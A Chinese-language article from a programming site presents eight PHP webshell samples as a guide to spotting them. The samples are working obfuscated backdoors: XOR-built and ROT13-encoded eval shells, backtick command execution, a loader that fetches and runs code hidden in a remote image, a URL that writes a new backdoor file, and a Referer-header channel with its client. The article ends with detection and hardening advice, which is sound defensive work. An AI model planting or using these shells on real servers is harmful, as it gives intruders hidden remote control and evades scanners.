首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP Webshell 後門識別指南:從經典一句話到高階免殺樣本分析

     編輯:PHP 綜合知識

前言

Webshell 是滲透測試與應急響應的核心攻防點。本文由淺入深剖析 8 類典型 PHP 後門樣本,涵蓋變形技巧、免殺原理、流量特徵,助力安全人員快速識別與清理。

第一層:經典一句話後門

<?php @eval($_POST['cmd']); ?>
<?php @assert($_POST['cmd']); ?>

特徵:高危函數 eval/assert + 超全局變數,掃描器 100% 檢出。

第二層:字符串構造變形(繞過關鍵字匹配)

<?php
@$_++; // $_ = 1
$__ = ("#" ^ "|");        // _
$__ .= ("." ^ "~");      // P
$__ .= ("/" ^ "`");      // O
$__ .= ("|" ^ "/");      // S
$__ .= ("{" ^ "/");      // T
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>

原理:利用 XOR 運算動態生成 _POST 字符串,避免靜態特徵。壓縮版:

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

第三層:反引號執行系統命令(無 eval/assert)

<?php
$c = urldecode($_GET['c']);
if ($c) { `$c`; }
// 精簡版:!$_GET['c'] || `{$_GET['c']}`;
// 示例:?c=type%20config.php>config.txt
?>

原理:PHP 中反引號 ` 直接執行系統命令,無敏感函數調用,極難靜態檢測。

第四層:preg_replace /e 修飾符代碼執行

<?php
preg_replace("/[errorpage]/e", @str_rot13('@nffreg($_CBFG[cntr]);'), "saft");
// 密碼:page
// str_rot13 解碼後為 @assert($_POST[page]);
?>

特徵:/e 修飾符使替換字符串作為 PHP 代碼執行,配合 ROT13 編碼隱藏 payload。

第五層:遠程載入動態 Payload(圖片隱寫術)

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");
if (empty($_SESSION['api'])) {
    $_SESSION['api'] = substr(file_get_contents(
        sprintf('%s?%s',
            pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),
            uniqid()
        )
    ), 3649);
}
@preg_replace("~(.*)~ies", gzuncompress($_SESSION['api']), null);
?>

解析:

  1. pack('H*', ...) 解碼出 URL:https://7shell.googlecode.com/svn/make.jpg
  2. 獲取圖片內容,substr(..., 3649) 截取隱寫數據
  3. gzuncompress 解壓獲得真實代碼
  4. preg_replace /e 執行

還原惡意代碼:

<?php
echo gzuncompress(substr(file_get_contents(
    sprintf('%s?%s', pack('H*', '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'), uniqid())
), 3649));
?>

第六層:無特徵 Session 傳遞後門

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace(
    '\'a\'eis',
    'e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))',
    'a'
);
?>

亮點:eval 字符串拼接 + base64 編碼 + preg_replace /e,靜態掃描無敏感特徵。

第七層:超短參數化後門(兩參數構造任意代碼執行)

<?php $_GET['a']($_GET['b']); ?>

利用方式:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x)});

寫入 c.php 一句話後門,a=assert 觸發寫入,a=eval 報錯但文件已生成。

第八層:HTTP Referer 通道隱蔽傳輸(繞過 WAF)

文件 1(服務端):

<?php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if (reset($a) == '10' && count($a) == 9) {
    eval(base64_decode(str_replace(' ', '+', implode(array_slice($a, 6)))));
}
?>

文件 2(客戶端):

<?php
$code = base64_encode('phpinfo();');
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
$ch = curl_init('https://target/1.php');
curl_setopt_array($ch, [
    CURLOPT_HEADER => false,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_REFERER => $referer
]);
echo curl_exec($ch);
?>

原理:通過 Referer 頭傳遞 Base64 編碼 Payload,WAF 往往忽略 Referer 檢測。

檢測與清理建議

層級靜態特徵動態特徵清理難度
1-2eval/assert/_POST/XOR構造POST 請求帶代碼低
3反引號/系统命令GET 參數含命令中
4-5preg_replace/e/str_rot13/pack/遠程加載異常網絡連接/會話異常高
6-8無明顯特徵Referer異常/Session異常/參數異常極高
  1. 文件完整性監控:Tripwire/AIDE 監控核心目錄變更
  2. 流量行為分析:高頻異常參數、Referer 異常、POST 無 Referer
  3. PHP 配置加固:disable_functions=eval,assert,exec,shell_exec,system,passthru,popen,proc_open,preg_replace
  4. 禁用 /e 修飾符:PHP 7.0+ 已移除,舊版本務必升級
  5. 定期掃描:河馬/Loknop/深信服 Webshell 掃描工具
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved